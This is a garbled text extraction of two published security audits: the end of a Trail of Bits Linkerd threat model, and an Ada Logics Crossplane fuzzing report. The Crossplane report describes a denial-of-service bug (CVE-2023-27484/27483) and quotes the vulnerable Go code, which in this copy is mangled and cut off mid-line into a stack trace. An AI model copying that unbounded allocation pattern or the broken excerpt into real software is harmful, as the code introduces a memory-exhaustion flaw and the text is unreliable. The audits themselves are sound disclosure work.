s 41 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 1 0 . S h a r e d i d e n t i t y a n d d e s t i n a t i on s e r v i c e s i n a c l u s t e r p o s e s r i s k s t o \\n m u l t i - a p p l i c a t i on c l u s t e r s \\n Severity: Medium Difficulty: High \\n Type: System and Communications \\n Protection Finding ID: TOB-LKDTM-10 \\n Target: Destination and identity services \\n D e s c r i p t i on \\n The identity and destination controllers are meant to convey certificate and routing \\n information for proxies, respectively. However, only one identity controller and one \\n destination controller are deployed in a cluster, so they are shared among all application \\n pods within a cluster. As a result, a single application pod could pollute records, causing \\n denial-of-service attacks or otherwise compromising these cluster-wide components. \\n Additionally, a compromise of these cluster-wide components may result in the exposure \\n of routing information for each application pod. \\n Although the Kubernetes API server is exposed with the same architecture, it may be \\n beneficial to minimize the attack surface area and the data that can be exfiltrated from \\n compromised Linkerd components. \\n T h r e a t S c e n a r i o \\n An attacker gains access to a single user application pod and begins to launch attacks \\n against the identity and destination services. As a result, these services cannot serve other \\n user application pods. The attacker later finds a way to compromise one of these two \\n services, allowing her to leak sensitive application traffic from other user application pods. \\n R e c om m e n d a t i on s \\n Short term, implement per-pod identity and destination services that are isolated from \\n other pods. If this is not viable, consider documenting this caveat so that users are aware \\n of the risks of hosting multiple applications within a single cluster. \\n T r a i l o f B i t s 42 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 1 1 . L a c k o f i s ol a t i on b e t w e e n c om p o n e n t s a n d t h e i r s i d e c a r p r o x i e s \\n Severity: Low Difficulty: High \\n Type: System and Communications \\n Protection Finding ID: TOB-LKDTM-11 \\n Target: linkerd-proxy \\n D e s c r i p t i on \\n Within the Linkerd, linkerd-viz , and user application namespaces, each core component \\n lives alongside a linkerd-proxy container, which proxies the component’s traffic and \\n provides mTLS for internal connections. However, because the sidecar proxies are not \\n isolated from their corresponding components, the compromise of a component would \\n mean the compromise of its proxy, and vice versa. \\n This is particularly interesting when considering the lack of access controls for some \\n components, as detailed in TOB-LKDTM-4 : proxy admin endpoints are exposed to the \\n applications they are proxying, allowing metrics collection and shutdown requests to be \\n made. \\n T h r e a t S c e n a r i o \\n An attacker exploits a vulnerability to gain access to a linkerd-proxy instance. As a \\n result, the attacker is able to compromise the confidentiality, integrity, and availability of \\n lateral components, such as user applications, identity and destination services within the \\n Linkerd namespace, and extensions within the linkerd-proxy namespace. \\n R e c om m e n d a t i on s \\n Short term, document system caveats and sensitivities so that operators are aware of them \\n and can better defend themselves against attacks. Consider employing health checks that \\n verify the integrity of proxies and other components to ensure that they have not been \\n compromised. \\n Long term, investigate ways to isolate sidecar proxies from the components they are \\n proxying (e.g., by setting stricter access controls or leveraging isolated namespaces \\n between proxied components and their sidecars). \\n T r a i l o f B i t s 43 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 1 2 . L a c k o f c e n t r a l i z e d s e c u r i t y b e s t p r a c t i c e s d o c u m e n t a t i o n \\n Severity: Informational Difficulty: Informational \\n Type: Awareness and Training Finding ID: TOB-LKDTM-12 \\n Target: Linkerd \\n D e s c r i p t i on \\n While security recommendations are included throughout Linkerd’s technical guidance \\n documents , there is no centralized guidance on security best practices. Furthermore, the \\n documentation on securing clusters lacks guidance on security best practices such as \\n configuring timeouts and retries, authorization policy recommendations for defense in \\n depth, and locking down access to linkerd-viz components. \\n T h r e a t S c e n a r i o \\n A user is unaware of security best practices and configures Linkerd in an insecure manner. \\n As a result, her Linkerd infrastructure is prone to attacks that could compromise the \\n confidentiality, integrity, and availability of data handled by the cluster. \\n R e c om m e n d a t i on s \\n Short term, develop centralized documentation on security recommendations with a focus \\n on security-in-depth practices for users to follow. This guidance should be easy to locate \\n should any user wish to follow security best practices when using Linkerd. \\n T r a i l o f B i t s 44 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 1 3 . U n c l e a r d i s t i n c t i on b e t w e e n L i n k e r d a n d L i n k e r d 2 i n o \\u0000 c i a l L i n k e r d b l o g \\n p os t g u i d a n c e \\n Severity: Informational Difficulty: Informational \\n Type: Awareness and Training Finding ID: TOB-LKDTM-13 \\n Target: Linkerd \\n D e s c r i p t i on \\n The official Linkerd documentation clearly indicates the version of Linkerd that each \\n document pertains to. For instance, documentation specific to Linkerd 1.x displays a \\n message stating, “This is not the latest version of Linkerd!” However, guidance documented \\n in blog post form on the same site does not provide such information. For instance, the \\n first result of a Google search for “Linkerd RBAC” is a Linkerd blog post with guidance that is \\n applicable only to linkerd 1.x, but there is no indication of this fact on the page. As a result, \\n users who rely on these blog posts may misunderstand functionality in Linkerd versions 2.x \\n and above. \\n T h r e a t S c e n a r i o \\n A user searches for guidance on implementing various Linkerd features and finds \\n documentation in blog posts that applies only to Linkerd version 1.x. As a result, he \\n misunderstands Linkerd and its threat model, and he makes configuration mistakes that \\n lead to security issues. \\n R e c om m e n d a t i on s \\n Short term, on Linkerd blog post pages, add indicators similar to the UI elements used in \\n the Linkerd documentation to clearly indicate which version each guidance page applies to. \\n T r a i l o f B i t s 45 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 1 4 . I n s u \\u0000 c i e n t l og g i n g o f ou t b ou n d H T T P S c a l l s \\n Severity: Low Difficulty: High \\n Type: Audit and Accountability Finding ID: TOB-LKDTM-14 \\n Target: linkerd-viz \\n D e s c r i p t i on \\n Linkerd operators can use the linkerd-viz extensions such as Prometheus and Grafana \\n to collect metrics for the various proxies in a Linkerd infrastructure. However, these \\n extensions do not collect metrics on outbound calls made by meshed applications. This \\n limits the data that operators could use to conduct incident response procedures if \\n compromised applications reach out to malicious external services and servers. \\n T h r e a t S c e n a r i o \\n A meshed application running in the data plane is compromised as a result of a supply \\n chain attack. Because outbound HTTPS calls are not logged, Linkerd operators are unable \\n to collect sufficient data to determine the impact of the vulnerability. \\n R e c om m e n d a t i on s \\n Short term, implement logging for outbound HTTPS connections. A GitHub issue to \\n implement this recommendation already exists in the Linkerd repository but is still \\n unresolved as of this writing. \\n T r a i l o f B i t s 46 Linkerd Threat Model \\n C O N F I D E N T I A L \\n A . M e t h o d o l o g y \\n A Trail of Bits threat modeling assessment is intended to provide a detailed analysis of the \\n risks that an application faces at the structural and operational level; the goal is to assess \\n the security of the application’s design rather than its implementation details. During these \\n assessments, engineers rely heavily on frequent meetings with the client’s developers and \\n on extensive reading of all documentation provided by the client. Code review and dynamic \\n testing are not part of the threat modeling process, although engineers may occasionally \\n consult the codebase or a live instance of the project to verify assumptions about the \\n system’s design. \\n Engineers begin a threat modeling assessment by identifying the safeguards and \\n guarantees that are critical to maintaining the target system’s confidentiality, integrity, and \\n availability. These security controls dictate the assessment’s overarching scope and are \\n determined by the requirements of the target system, which may relate to technical and \\n reputational concerns, legal liability, and regulatory compliance. \\n With these security controls in mind, engineers then divide the system into logical \\n components —discrete elem ents that perform specific tasks—and establish trust zones \\n around groups of components that lie within a common trust boundary. They identify the \\n types of data handled by the system, enumerating the points at which data is sent, \\n received, or stored by each component, as well as within and across trust boundaries. \\n After establishing a detailed map of the target system’s structure and data flows, engineers \\n then identify threat actors —anyone who might threaten the target’s security, including both \\n malicious external actors and naive internal actors. Based on each threat actor’s initial \\n privileges and knowledge, engineers then trace threat actor paths through the system, \\n determining the controls and data that a threat actor might be able to improperly access, \\n as well as the safeguards that prevent such access. Any viable attack path discovered \\n during this process constitutes a finding , which is paired with design recommendations to \\n remediate gaps in the system’s defenses. \\n Finally, engineers rate the strength of each security control, indicating the general \\n robustness of that type of defense against the full spectrum of possible attacks. These \\n ratings are provided in the Security Control Maturity Evaluation table. \\n T r a i l o f B i t s 47 Linkerd Threat Model \\n C O N F I D E N T I A L \\n B . S e c u r i t y Co n t r o l s a n d R a t i n g C r i t e r i a \\n The following tables describe the security controls and rating criteria used in this report. \\n Security Controls \\n Category Description \\n Access Controls Controls related to authorization, session management, separation of \\n duties, etc. \\n Audit and \\n Accountability Controls related to logging, non-repudiation, monitoring, analysis, \\n reporting, etc. \\n Awareness and \\n Training Controls related to policies, procedures, and related capabilities \\n Denial of Service Controls to defend against denial-of-service attacks impacting availability \\n Identification and \\n Authentication User and system identification and authentication controls \\n System and \\n Communications \\n Protection Network-level controls to protect data \\n Rating Criteria \\n Rating Description \\n Strong No concerns related to the security control were found. \\n Satisfactory Only minor issues related to the security control were found; though the \\n control may lack certain non-critical operational procedures or security \\n measures, their absence does not expose users to a significant degree of \\n risk. Remediation in this area is suggested but not urgent. \\n Moderate Several issues that may expose users to some degree of risk were found. \\n Remediation in this area is recommended. \\n Weak Significant issues that are likely to expose users to a substantial degree of \\n risk were found. Remediation in this area should be prioritized. \\n Missing The security control was found to be nonexistent or totally ineffective for \\n its intended purpose, despite being necessary for the system’s security. \\n The implementation of this control should be prioritized. \\n T r a i l o f B i t s 48 Linkerd Threat Model \\n C O N F I D E N T I A L \\n Not Applicable The security control is not applicable to this review. \\n Not Considered The security control was not considered in this review. \\n Further \\n Investigation \\n Required Further investigation is required to reach a meaningful conclusion. \\n Severity Levels \\n Severity Description \\n Inform ational The issue does not pose an immediate risk but is relevant to security best \\n practices. \\n Undetermined The extent of the risk was not determined during this engagement. \\n Low The risk is small or is not one the client has indicated is important. \\n Medium User information is at risk; exploitation could pose reputational, legal, or \\n moderate financial risks. \\n High The flaw could affect numerous users and have serious reputational, legal, \\n or financial implications. \\n Difficulty Levels \\n Difficulty Description \\n Undetermined The difficulty of exploitation was not determined during this engagement. \\n Low The threat is well known or common; an attacker can exploit it without \\n significant effort or specialized knowledge. \\n Medium An attacker must acquire in-depth knowledge of the system or expend a \\n non-trivial amount of effort in order to exploit this issue. \\n High An attacker must acquire complex insider knowledge or privileged access to \\n the system in order to exploit this issue. \\n T r a i l o f B i t s 49 Linkerd Threat Model \\n C O N F I D E N T I A L \\n\"\n }\n]"}}},{"rowIdx":39478,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"ADA-fuzzing-audit-22.pdf\",\n \"project_name\": \"Crossplane\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":"P R E S E N T S \nC r o s s p l a n e\nF u z z i n g\nA u d i t\nIn\ncollaboration\nwith\nthe\nCrossplane\nproject\nmaintainers\nand\nThe\nLinux\nFoundation\nA u t h o r s\nAdam\nKorczynski\n<\nadam@adalogics.com\n>\nDavid\nKorczynski\n<\ndavid@adalogics.com\n>\nDate:\n23rd\nMarch,\n2023\nThis\nreport\nis\nlicensed\nunder\nCreative\nCommons\n4.0\n(CC\nBY\n4.0)\nCrossplane\nfuzzing\naudit\n2022\nC N C F\ns e c u r i t y\na n d\nf u z z i n g\na u d i t s\nThis\nreport\ndetails\na\nfuzzing\naudit\ncommissioned\nby\nthe\nCNCF\nand\nthe\nengagement\nis\npart\nof\nthe\nbroader\nefforts\ncarried\nout\nby\nCNCF\nin\nsecuring\nthe\nso\u0000ware\nin\nthe\nCNCF\nlandscape.\nDemonstrating\nand\nensuring\nthe\nsecurity\nof\nthese\nso\u0000ware\npackages\nis\nvital\nfor\nthe\nCNCF\necosystem\nand\nthe\nCNCF\ncontinues\nto\nuse\nstate\nof\nthe\nart\ntechniques\nto\nsecure\nits\nprojects\nas\nwell\nas\ncarrying\nout\nmanual\naudits.\nOver\nthe\nlast\nhandful\nof\nyears,\nCNCF\nhas\nbeen\ninvesting\nin\nsecurity\naudits,\nfuzzing\nand\nso\u0000ware\nsupply\nchain\nsecurity\nthat\nhas\nhelped\nproactively\ndiscover\nand\nfix\nhundreds\nof\nissues.\nFuzzing\nis\na\nproven\ntechnique\nfor\nfinding\nsecurity\nand\nreliability\nissues\nin\nso\u0000ware\nand\nthe\nefforts\nso\nfar\nhave\nenabled\nfuzzing\nintegration\ninto\nmore\nthan\ntwenty\nCNCF\nprojects\nthrough\na\nseries\nof\ndedicated\nfuzzing\naudits.\nIn\ntotal,\nmore\nthan\n350\nbugs\nhave\nbeen\nfound\nthrough\nfuzzing\nof\nCNCF\nprojects.\nThe\nfuzzing\nefforts\nof\nCNCF\nhave\nfocused\non\nenabling\ncontinuous\nfuzzing\nof\nprojects\nto\nensure\ncontinued\nsecurity\nanalysis,\nwhich\nis\ndone\nby\nway\nof\nthe\nopen\nsource\nfuzzing\nproject\nOSS-Fuzz\n1\n.\nCNCF\ncontinues\nwork\nin\nthis\nspace\nand\nwill\nfurther\nincrease\ninvestment\nto\nimprove\nsecurity\nacross\nits\nprojects\nand\ncommunity.\nThe\nfocus\nfor\nfuture\nwork\nis\nintegrating\nfuzzing\ninto\nmore\nprojects,\nenabling\nsustainable\nfuzzer\nmaintenance,\nincreasing\nmaintainer\ninvolvement\nand\nenabling\nfuzzing\nto\nfind\nmore\nvulnerabilities\nin\nmemory\nsafe\nlanguages.\nMaintainers\nwho\nare\ninterested\nin\ngetting\nfuzzing\nintegrated\ninto\ntheir\nprojects\nor\nhave\nquestions\nabout\nfuzzing\nare\nencouraged\nto\nvisit\nthe\ndedicated\ncncf-fuzzing\nrepository\nhttps://github.com/cncf/cncf-fuzzing\nwhere\nquestions\nand\nqueries\nare\nwelcome.\n1\nhttps://github.com/google/oss-fuzz\n1Crossplane\nfuzzing\naudit\n2022\nEx ecutive\nsummary\nIn\nJuly\n2022,\nAda\nLogics\nstarted\na\nfuzzing\naudit\nof\nCrossplane.\nThe\ngoal\nof\nthe\naudit\nwas\nto\nimprove\nCrossplanes\nfuzzing\nefforts.\nAt\nthe\ntime\nthe\naudit\nstarted,\nCrossplane\nhad\nnot\ndone\nany\nprior\nfuzz\ntesting,\nand\nthe\naudit\nbegan\nwith\nintegrating\nCrossplane\ninto\nOSS-Fuzz\n-\nGoogles\nopen\nsource\nproject\nthat\nruns\nthe\nfuzzers\nof\ncritical\nopen\nsource\nprojects\nand\nreports\nissues\nto\nmaintainers\nif\nthe\nfuzzers\ndetect\nany.\nOnce\nCrossplane\nwas\nintegrated\ninto\nOSS-Fuzz,\nAda\nLogics\nbegan\nassessing\nCrossplanes\ncode\nbase\nto\ndetermine\nwhich\nentrypoints\nthe\nfuzzers\nshould\ntarget.\nIn\ntotal\nthree\ncode\nassets\nwere\ntested\nin\nthis\naudit:\nhttps://github.com/crossplane/crossplane:\nThe\ncore\nCrossplane\nrepository.\nhttps://github.com/crossplane/crossplane-runtime:\nA\nset\nof\ngo\nlibraries\nused\nto\nbuild\ncontrollers\nin\nthe\nCrossplane\nstack.\ngithub.com/google/go-containerregistry:\nA\n3rd-party\ndependency\nthat\nhandles \ncomplex\nparsing\nfor\nCrossplane\nAll\nfuzzers\nwere\nmerged\ninto\nthe\ncncf-fuzzing\nrepository,\nhttps://github.com/cncf/cncf-fuzzing\n,\nfrom\nwhich\nOSS-Fuzz\nwould\npull\nthem\nand\ntest\nagainst\nthe\nlatest\nmaster\nbranches\nof\nthe\nthree\nrepositories\nbeing\ntested.\nAda\nLogics\ncreated\na\nPR\nfor\nCI\nintegration,\nso\nthat\nthe\nfuzzers\ncan\ntest\nnew\ncode\ncontributions\nto\nCrossplane:\nhttps://github.com/crossplane/crossplane/pull/3553\n.\nThe\naudit\nfound\n4\nissues:\n2\nin\nCrossplane\nand\n2\nin\n3rd-party\ndependencies.\nResults\nsummarised\n13\nfuzzers\nwritten\nfor\nCrossplane\n4\nissues\nfound\nAll\nfuzzers\nintegrated\ninto\nOSS-Fuzz\n2\nsecurity\nvulnerabilities\nfound\nby\nthe\nfuzzers\nFuzzers\nsupported\nby\nCrossplanes\nCI\n2Crossplane\nfuzzing\naudit\n2022\nT able\nof\nContents\nCNCF\nsecurity\nand\nfuzzing\naudits\n1\nExecutive\nsummary\n2\nTable\nof\nContents\n3\nProject\nSummary\n4\nCrossplane\nfuzzing\n5\nIssues\nfound\nby\nfuzzers\n10\nRuntime\nstats\n19\nConclusions\nand\nfuture\nwork\n20\n3Crossplane\nfuzzing\naudit\n2022\nP r o j e c t\nS u m m a r y\nAda\nLogics\nauditors\nName\nTitle\nEmail\nAdam\nKorczynski\nSecurity\nEngineer\nAdam@adalogics.com\nDavid\nKorczynski\nSecurity\nResearcher\nDavid@adalogics.com\nCrossplane\nmaintainers\ninvolved\nin\nthe\naudit\nName\nTitle\nEmail\nPhilippe\nScorsolini\nSenior\nSo\u0000ware\nEngineer\nphilippe.scorsolini@upbound.io\nJared\nWatts\nSteering\nCommittee\nand \nCrossplane\nMaintainer\njared@upbound.io\nAlper\nUlucinar\nStaff\nSo\u0000ware\nEngineer\nalper@upbound.io\nNic\nCope\nCrossplane\nSteering \nCommittee\nnegz@upbound.io\nAssets\nUrl\nBranch\nhttps://github.com/crossplane/crossplanemaster\nhttps://github.com/crossplane/crossplane-runtimemaster\nhttps://github.com/google/go-containerregistrymain\n4Crossplane\nfuzzing\naudit\n2022\nCrossplane\nfuzzing\nIn\nthis\nsection\nwe\npresent\ndetails\non\nCrossplaneʼs\nfuzzing\nsetup,\nand\nin\nparticular\nthe\noverall\nfuzzing\narchitecture\nas\nwell\nas\nthe\nspecific\nfuzzers\ndeveloped.\nArchitecture\nA\ncentral\ncomponent\nin\nCrossplaneʼs\nfuzzing\nsuite\nis\ncontinuous\nfuzzing\nby\nway\nof\nOSS-Fuzz.\nCrossplaneʼs\nupstream\nsource\ntree\nis\nthe\nkey\nso\u0000ware\npackage\nthat\nOSS-Fuzz\nuses\nto\nfuzz\nCrossplane.\nThe\nfollowing\nfigure\ngives\nan\noverview\nof\nhow\nOSS-Fuzz\nuses\nCrossplaneʼs\nupstream\nrepository\nand\nwhat\nhappens\nwhen\nan\nissue\nis\nfound/fixed.\nFigure0.1:Crossplane’sfuzzingarchitecture\n5\nCrossplane\nfuzzing\naudit\n2022\nThe\ncurrent\nOSS-Fuzz\nsetup\nbuilds\nthe\nfuzzers\nby\ncloning\nthe\nupstream\nCrossplane\nGithub\nrepository\nto\nget\nthe\nlatest\nCrossplane\nsource\ncode\nand\nthen\nbuilds\nthe\nfuzzers\nin\nthe\ncloned\nCrossplane\nsource\ntree.\nAs\nsuch,\nthe\nfuzzers\nare\nalways\nrun\nagainst\nthe\nlatest\nCrossplane\ncommit.\nThis\nbuild\ncycle\nhappens\ndaily\nand\nOSS-Fuzz\nwill\nverify\nif\nany\nexisting\nbugs\nhave\nbeen\nfixed.\nIf\nOSS-fuzz\nfinds\nthat\nany\nbugs\nhave\nbeen\nfixed,\nOSS-Fuzz\nmarks\nthe\ncrashes\nas\nfixed\nin\nthe\nMonorail\nbug\ntracker\nand\nnotifies\nthe\nCrossplane\nmaintainers.\nIn\neach\nfuzzing\niteration,\nOSS-Fuzz\nuses\nits\ncorpus\naccumulated\nfrom\nprevious\nfuzz\nruns.\nIf\nOSS-Fuzz\ndetects\nany\ncrashes\nwhen\nrunning\nthe\nfuzzers,\nOSS-Fuzz\nperforms\nthe\nfollowing\nactions:\n1.\nA\ndetailed\ncrash\nreport\nis\ncreated.\n2.\nAn\nissue\nin\nthe\nbug\ntracker\nis\ncreated.\n3.\nAn\nemail\nis\nsent\nto\nmaintainers\nwith\nlinks\nto\nthe\nreport\nand\nrelevant\nentry\nin\nthe\nbug\ntracker.\nOSS-Fuzz\nhas\na\n90\nday\ndisclosure\npolicy,\nmeaning\nthat\na\nbug\nbecomes\npublic\nin\nthe\nbug\ntracker\nif\nit\nhas\nnot\nbeen\nfixed.\nThe\ndetailed\nreport\nis\nnever\nmade\npublic.\nThe\nCrossplane\nmaintainers\nwill\nfix\nissues\nupstream,\nand\nOSS-Fuzz\nwill\npull\nthe\nlatest\nCrossplane\nmaster\nbranch\nthe\nnext\ntime\nit\nperforms\na\nfuzz\nrun\nand\nverify\nthat\na\ngiven\nissue\nhas\nbeen\nfixed.\nFuzzers\nAda\nLogics\nwrote\n13\nfuzzers\nduring\nthe\nfuzzing\naudit.\nIn\nthis\nsection\nwe\npresent\na\nhighlight\nof\nthe\nfuzzers\nand\nwhich\nparts\nof\nCrossplane\nthey\ntest.\nO v e r v i e w\n#\nName\nPackage\n1FuzzPatchApplygithub.com/crossplane/crossplane/internal/controller/apiextensions/composite\n2FuzzTransformgithub.com/crossplane/crossplane/internal/controller/apiextensions/composite\n3FuzzParsegithub.com/crossplane/crossplane/internal/xpkg\n4FuzzPropagateConnectiongithub.com/crossplane/crossplane/internal/controller/apiextensions/claim\n5FuzzNewCompositionRevisiongithub.com/crossplane/crossplane/internal/controller/apiextensions/composition\n6FuzzAsCompositiongithub.com/crossplane/crossplane/internal/controller/apiextensions/composite\n7FuzzPackageRevisiongithub.com/crossplane/crossplane/internal/controller/pkg/manager\n8FuzzGCRExtract*github.com/crossplane/crossplane/internal/controller/pkg/revision\n6Crossplane\nfuzzing\naudit\n2022\n9FuzzParseReference*github.com/crossplane/crossplane/internal/controller/pkg/revision\n10FuzzForCompositeResourceXcrdgithub.com/crossplane/crossplane/internal/xcrd\n11FuzzForCompositeResourceClaimgithub.com/crossplane/crossplane/internal/xcrd\n12FuzzFindXpkgInDirgithub.com/crossplane/crossplane/internal/xpkg\n13FuzzDaggithub.com/crossplane/crossplane/internal/dag\n*\nRemoved\na\u0000er\nthe\naudit.\nT a r g e t\nA P I s\n1 :\nF u z z P a t c h A p p l y\nInvokesgithub.com/crossplane/crossplane/internal/controller/apiextensions/composite.Apply()\nwith\na\npseudo-randomizedPatch\nand\ntwo\nmocked\ntypes\nasComposite\nandComposed\nrespectively.\n2 :\nF u z z T r a n s f o r m\nCreates\na\npseudo-randomizedgithub.com/crossplane/crossplane/apis/apiextensions/v1.Transform\nand\npasses\nit\ntogithub.com/crossplane/crossplane/internal/controller/apiextensions/composite.Resolve()\ntogether\nwith\na\npseudo-random\nstring\nas\nthe\nsecond\nparameter.\n3 :\nF u z z P a r s e\nTests\nthe\nCrossplane\nRuntime\nparser\nwith\naNopCloser\ncontaining\nthe\ntestcase\nfrom\nthe\nfuzzer.\n4 :\nF u z z P r o p a g a t e C o n n e c t i o n\nTestsgithub.com/crossplane/crossplane/internal/controller/apiextensions/claim.(a*APIConnectionPropagator).PropagateConnection()\n.\nThe\nfuzzer\ncreates\nanAPIConnectionPropagator\nwith\na\nmock\nclient\nand\ninvokes\nitsPropagateConnection()\nmethod\nwith\na\npseudo-randomizedComposite\nandComposed\n.\n5 :\nF u z z N e w C o m p o s i t i o n R e v i s i o n\nInvokesgithub.com/crossplane/crossplane/internal/controller/apiextensions/composition.NewCompositionRevision()\nwith\npseudo-randomizedrevision\nandcompSpecHash\nparameters.\n6 :\nF u z z A s C o m p o s i t i o n\nRandomizes\nagithub.com/crossplane/crossplane/apis/apiextensions/v1beta1.CompositionRevision\nand\npasses\nit\nto\n7Crossplane\nfuzzing\naudit\n2022\ngithub.com/crossplane/crossplane/internal/controller/apiextensions/composite.AsComposition()\n.\n7 :\nF u z z P a c k a g e R e v i s i o n\nHas\ntwo\ntargets:github.com/crossplane/crossplane/internal/controller/pkg/manager.(r*PackageRevisioner).Revision()\nandgithub.com/crossplane/crossplane/internal/xpkg.FriendlyID()\n.\nTo\ninvokeRevision()\n,\nthe\nfuzzer\ncreates\na*PackageRevisioner\nwith\na\nmock\nfetcher.\nIt\nthen\ninvokesRevision()\nwith\na\npseudo-randomizedgithub.com/crossplane/crossplane/apis/pkg/v1.Provider\n.\nA\u0000er\nthat,\nthe\nfuzzer\nproceeds\nto\ncreating\ntwo\nstrings\nand\npassing\nthem\nontoFriendlyID()\n.\n8 :\nF u z z G C R E x t r a c t *\nTests\nthe\n3rd-party\nAPI\nused\nby\nCrossplane:github.com/google/go-containerregistry/pkg/v1/mutate.Extract()\n.\nThe\nfuzzer\ncreates\na\ntar\nfile\nthat\nit\nthen\npasses\nto\nthe\ntarget\nAPI\nto\nbe\nextracted.\n9 :\nF u z z P a r s e R e f e r e n c e *\nTests\nthe\n3rd-party\nAPI\nused\nby\nCrossplane:github.com/google/go-containerregistry/pkg/name.ParseReference()\n.\nThe\ntestcase\nfrom\nthe\nfuzzer\nis\npassed\nto\nthe\ntarget\nAPI.\n1 0 :\nF u z z F o r C o m p o s i t e R e s o u r c e X c r d\nTestsgithub.com/crossplane/crossplane/internal/xcrd.ForCompositeResourceXcrd()\nby\ncreating\na\npseudo-randomgithub.com/crossplane/crossplane/apis/apiextensions/v1.CompositeResourceDefinition\nand\npassing\nit\nto\nthe\ntarget\nAPI.\n1 1 :\nF u z z F o r C o m p o s i t e R e s o u r c e C l a i m\nTestsgithub.com/crossplane/crossplane/internal/xcrd.FuzzForCompositeResourceClaim()\nby\ncreating\na\npseudo-randomgithub.com/crossplane/crossplane/apis/apiextensions/v1.CompositeResourceDefinition\nand\npassing\nit\nto\nthe\ntarget\nAPI.\n1 2 :\nF u z z F i n d X p k g I n D i r\nThe\ngoal\nof\nthis\nfuzzer\nis\nto\ntestgithub.com/crossplane/crossplane/internal/xpkg.FindXpkgInDir()\nandgithub.com/crossplane/crossplane/internal/xpkg.ParseNameFromMeta()\n.\nThe\nfuzzer\nprepares\nagithub.com/spf13/afero.MemMapFs\nand\ncreates\npseudo-random\nfiles\nin\nit.\nTheMemMapFs\nis\nthen\npassed\nto\nthe\ntwo\ntarget\nAPIs\nas\nthe\nfirst\nargument\nand“/”\nas\nthe\nsecond.\n8Crossplane\nfuzzing\naudit\n2022\n1 3 :\nF u z z D a g\nTestsMapDag\ninitialization\nby\ncreating\na\nslice\nof\npseudo-random\nnodes\nand\npassing\nit\ntogithub.com/crossplane/crossplane/internal/dag.(d*MapDag).Init()\n.\n*\nRemoved\na\u0000er\nthe\naudit.\n9Crossplane\nfuzzing\naudit\n2022\nIssues\nfound\nby\nfuzzers\nThe\naudit\nresulted\nin\n4\nunique\nissues.\nSome\nof\nthese\nwere\nreported\nwith\nmultiple\nsimilar\ncrashes\nby\nOSS-Fuzz.\nThis\nhappens\nfor\nseveral\nreasons:\nFor\nexample,\nchanges\nin\nCrossplane\nmeant\nthat\na\ncrash\nwas\nmoved\nfrom\none\nplace\nto\nanother\nin\nthe\ncodebase\ncausing\na\ntestcase\nto\nbe\ninvalid\nand\na\nnew\none\nto\nbe\nvalid.\nAda\nLogics\nassessed\nall\ncrashes\nreported\nby\nOSS-Fuzz\nand\nhave\nonly\nincluded\nthe\nunique\nones\nin\nthis\nreport.\n#\nID\nTitle\nSeverity\nFixed\n1\nADA-CROSS-FUZZ-1\nUser-controlled\nvariable\ndetermines\nslice\nsize\nHigh\nYes\n2\nADA-CROSS-FUZZ-2\nruntime.DefaultUnstructuredConverter.ToUnstructur \ned\npanics\nif\nif\na\npointer-typed\nfield\nwithout \nomitempty\nspecifier\nis\nattempted\nto\nbe\nconverted\nModerate\nYes\n3\nADA-CROSS-FUZZ-3\nMissing\nslice\nlength\nchecks\ncauses\nout\nof\nbounds \nread\nLow\nYes\n4\nADA-CROSS-FUZZ-4\nTime\nout\nin\n3rd-party\ndependency\nModerate\nYes\nThe\nmost\ninteresting\nfinding\nwas\nADA-CROSS-FUZZ-1\nwhich\nwas\na\nbug\nthat\nallowed\npartially-trusted\nusers\nto\ncontrol\nthe\nsize\nof\nallocated\nmemory\nof\nthe\nnode\nwithout\nan\nupper\nlimit.\nThe\nissue\nwas\ntriaged\nby\nthe\nCrossplane\nmaintainers\nand\nwas\nassigned\nassigned\nCVEʼs\nin\nboth\nCrossplane\nand\nCrossplane-runtime:\nProject\nGithub\nAdvisory\nCVE\nCrossplane\nGHSA-v829-x6hh-cqfq\nCVE-2023-27484\nCrossplane-runtime\nGHSA-vfvj-3m3g-m532\nCVE-2023-27483\n10Crossplane\nfuzzing\naudit\n2022\n1 :\nU s e r - c o n t r o l l e d\nv a r i a b l e\nd e t e r m i n e s\ns l i c e\ns i z e\nID\nADA-CROSS-FUZZ-1\nSeverity\nHigh\nFixed\nYes\nFuzzerFuzzPatchApply\nOSS-Fuzz\nbug\ntracker:\n●\nhttps://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49338&q=crossplane&can=1 \n(expired)\n●\nhttps://bugs.chromium.org/p/oss-fuzz/issues/detail?id=53819&q=crossplane&can=1\nDescription\nCrossplane\nruntime\nattempts\nto\ncreate\na\nslice\nthat\nis\nlarger\nthan\nthe\nmemory\navailable.\nThe\nsize\nof\nthe\nslice\nis\ndetermined\nby\ninput\ncontrolled\nby\nthe\nfuzzer.\nThe\nCrossplane\nteam\ntriaged\nthe\nissue\nand\nfound\nthat\nit\nwas\nsecurity-critical\nand\nimpacted\nboth\nCrossplane\nand\nCrossplane-runtime.\nThey\nrequested\nCVEʼs\nfor\nboth\nprojects:\nProject\nGithub\nAdvisory\nCVE\nCrossplane\nGHSA-v829-x6hh-cqfq\nCVE-2023-27484\nCrossplane-runtime\nGHSA-vfvj-3m3g-m532\nCVE-2023-27483\nThis\nissue\nexisted\nin\ntwo\nplaces\nin\nhttps://github.com/crossplane/crossplane-runtime/blob/master/pkg/fieldpath/paved.go\nhighlighted\nbelow:\nfuncprepareElement(array[]any,current,nextSegment){//Ifthissegmentisnotthefinaloneanddoesn'texistweneedto//createitforournextsegment.ifarray[current.Index]==nil{switchnext.Type{caseSegmentIndex:array[current.Index]=make([]any,next.Index+1)caseSegmentField:array[current.Index]=make(map[string]any)}return}\n//Ifournextsegmentindexesanarraythatexistsinourcurrentsegment's//elementwemustensurethearrayislongenoughtosetthenextsegment.ifnext.Type!=SegmentIndex{return\n11Crossplane\nfuzzing\naudit\n2022\n}\nna,ok:=array[current.Index].([]any)if!ok{return}\nifint(next.Index):1\n+0x71 \nsigs.k8s.io/structured-merge-dif f/v4/value.T ypeReflectCacheEntry .ToUnstructured({0x1,\n0x0,\n0x0,\n0x0,\n0x1, \n0x0,\n0x0,\n{0x0,\n0x0,\n0x0}},\n...) \n sigs.k8s.io/structured-merge-dif f/v4@v4.2.1/value/reflectcache.go:188\n+0xa9a 